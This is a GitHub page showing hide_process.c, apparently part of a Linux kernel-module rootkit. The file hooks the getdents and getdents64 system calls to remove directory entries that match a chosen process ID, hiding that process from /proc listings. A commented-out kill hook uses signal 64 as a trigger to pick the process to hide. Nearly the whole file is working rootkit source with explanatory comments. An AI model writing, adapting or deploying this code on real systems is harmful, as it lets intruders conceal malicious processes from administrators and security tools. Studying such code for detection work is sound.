-
Notifications
You must be signed in to change notification settings - Fork 2
/
hide_process.c
177 lines (154 loc) · 7.42 KB
/
hide_process.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
//
// Created by sciver on 10/19/22.
//
#include "hide_process.h"
/* After Kernel 4.17.0, the way that syscalls are handled changed
* to use the pt_regs struct instead of the more familar function
* prototype declaration. We have to check for this, and set a
* variable for later on */
/* Global variable to store the pid that we are going to hide */
char hide_pid[NAME_MAX];
/* This is our hooked function for sys_getdents64 */
asmlinkage long (*orig_getdents64)(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count);
asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent *dirent, unsigned int count);
asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count)
{
/* We will need these intermediate structures for looping through the directory listing */
struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL;
unsigned long offset = 0;
/* We first have to actually call the real sys_getdents64 syscall and save it so that we can
* examine it's contents to remove anything that is prefixed by hide_pid.
* We also allocate dir_entry with the same amount of memory as */
int ret = orig_getdents64(fd, dirent, count);
dirent_ker = kzalloc(ret, GFP_KERNEL);
if ( (ret <= 0) || (dirent_ker == NULL) )
return ret;
/* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace
* dirent_ker is our copy of the returned dirent struct that we can play with */
long error;
error = copy_from_user(dirent_ker, dirent, ret);
if (error)
goto done;
/* We iterate over offset, incrementing by current_dir->d_reclen each loop */
while (offset < ret)
{
/* First, we look at dirent_ker + 0, which is the first entry in the directory listing */
current_dir = (void *)dirent_ker + offset;
/* Compare current_dir->d_name to hide_pid - we also have to make sure that hide_pid isn't empty! */
if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0) )
{
/* If hide_pid is contained in the first struct in the list, then we have to shift everything else up by it's size */
if ( current_dir == dirent_ker )
{
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
/* This is the crucial step: we add the length of the current directory to that of the
* previous one. This means that when the directory structure is looped over to print/search
* the contents, the current directory is subsumed into that of whatever preceeds it. */
previous_dir->d_reclen += current_dir->d_reclen;
}
else
{
/* If we end up here, then we didn't find hide_pid in current_dir->d_name
* We set previous_dir to the current_dir before moving on and incrementing
* current_dir at the start of the loop */
previous_dir = current_dir;
}
/* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole
* directory listing */
offset += current_dir->d_reclen;
}
/* Copy our (perhaps altered) dirent structure back to userspace so it can be returned.
* Note that dirent is already in the right place in memory to be referenced by the integer
* ret. */
error = copy_to_user(dirent, dirent_ker, ret);
if (error)
goto done;
done:
/* Clean up and return whatever is left of the directory listing to the user */
kfree(dirent_ker);
return ret;
}
asmlinkage int hook_getdents(unsigned int fd, struct linux_dirent *dirent, unsigned int count)
{
/* This is an old structure that isn't included in the kernel headers anymore, so we
* have to declare it ourselves */
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[];
};
/* We will need these intermediate structures for looping through the directory listing */
struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL;
unsigned long offset = 0;
/* We first have to actually call the real sys_getdents syscall and save it so that we can
* examine it's contents to remove anything that is prefixed by hide_pid.
* We also allocate dir_entry with the same amount of memory as */
int ret = orig_getdents(fd, dirent, count);
dirent_ker = kzalloc(ret, GFP_KERNEL);
if ( (ret <= 0) || (dirent_ker == NULL) )
return ret;
/* Copy the dirent argument passed to sys_getdents from userspace to kernelspace
* dirent_ker is our copy of the returned dirent struct that we can play with */
long error;
error = copy_from_user(dirent_ker, dirent, ret);
if (error)
goto done;
/* We iterate over offset, incrementing by current_dir->d_reclen each loop */
while (offset < ret)
{
/* First, we look at dirent_ker + 0, which is the first entry in the directory listing */
current_dir = (void *)dirent_ker + offset;
/* Compare current_dir->d_name to hide_pid - we also have to make sure that hide_pid isn't empty! */
if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0) && (strncmp(hide_pid, "", NAME_MAX) != 0) )
{
/* If hide_pid is contained in the first struct in the list, then we have to shift everything else up by it's size */
if ( current_dir == dirent_ker )
{
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
/* This is the crucial step: we add the length of the current directory to that of the
* previous one. This means that when the directory structure is looped over to print/search
* the contents, the current directory is subsumed into that of whatever preceeds it. */
previous_dir->d_reclen += current_dir->d_reclen;
}
else
{
/* If we end up here, then we didn't find hide_pid in current_dir->d_name
* We set previous_dir to the current_dir before moving on and incrementing
* current_dir at the start of the loop */
previous_dir = current_dir;
}
/* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole
* directory listing */
offset += current_dir->d_reclen;
}
/* Copy our (perhaps altered) dirent structure back to userspace so it can be returned.
* Note that dirent is already in the right place in memory to be referenced by the integer
* ret. */
error = copy_to_user(dirent, dirent_ker, ret);
if (error)
goto done;
done:
/* Clean up and return whatever is left of the directory listing to the user */
kfree(dirent_ker);
return ret;
}
//static asmlinkage int hook_kill(pid_t pid, int sig)
//{
// if ( sig == 64 )
// {
// /* If we receive the magic signal, then we just sprintf the pid
// * from the intercepted arguments into the hide_pid string */
// printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid);
// sprintf(hide_pid, "%d", pid);
// return 0;
// }
//
// return orig_kill(pid, sig);
//}